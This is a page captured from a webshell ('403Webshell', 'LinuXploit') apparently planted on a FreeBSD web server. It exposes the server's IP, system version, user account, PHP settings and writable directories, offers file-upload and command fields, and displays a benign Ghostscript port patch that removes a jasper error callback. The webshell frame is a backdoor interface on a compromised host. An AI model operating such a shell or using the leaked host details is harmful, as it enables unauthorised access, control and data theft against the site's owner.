403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/print/ghostscript8-base/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/print/ghostscript8-base/files/patch-base_sjpx.c
Submitted By: Ken Moffat <ken at linuxfromscratch dot org>
Date: 2009-02-11
Initial Package Version: 8.63 (well, it's needed for 8.63, obviously ex 8.61)
Upstream Status: unknown
Origin: fedora
Description: Allows gnu-ghostscript to compile against external libjasper.
 To do that, you need to remove the jasper/ directory.  The included version
is 1.701 which is somewhat old.  Forward-ported to 8.64 (the structure of
the file source tree has changed) by km.

--- base/sjpx.c.orig	2009-06-18 05:16:48 UTC
+++ base/sjpx.c
@@ -33,14 +33,6 @@ static void s_jpxd_set_defaults(stream_s
 private_st_jpxd_state(); /* creates a gc object for our state,
 			    defined in sjpx.h */
 
-/* error reporting callback for the jpx library */
-static void
-s_jpx_jas_error_cb(jas_error_t err, char *msg)
-{
-  dprintf2("jasper (code %d) %s", (int)err, msg);
-}
-
-
 /* initialize the steam.
    this involves allocating the stream and image structures, and
    initializing the decoder.
@@ -58,7 +50,6 @@ s_jpxd_init(stream_state * ss)
     }
 
     status = jas_init();
-    jas_set_error_cb(s_jpx_jas_error_cb);
 #ifdef JPX_DEBUG
     /* raise the error reporting threshold from the default (0) */
     jas_setdbglevel(1);

Youez - 2016 - github.com/yon3zu
LinuXploit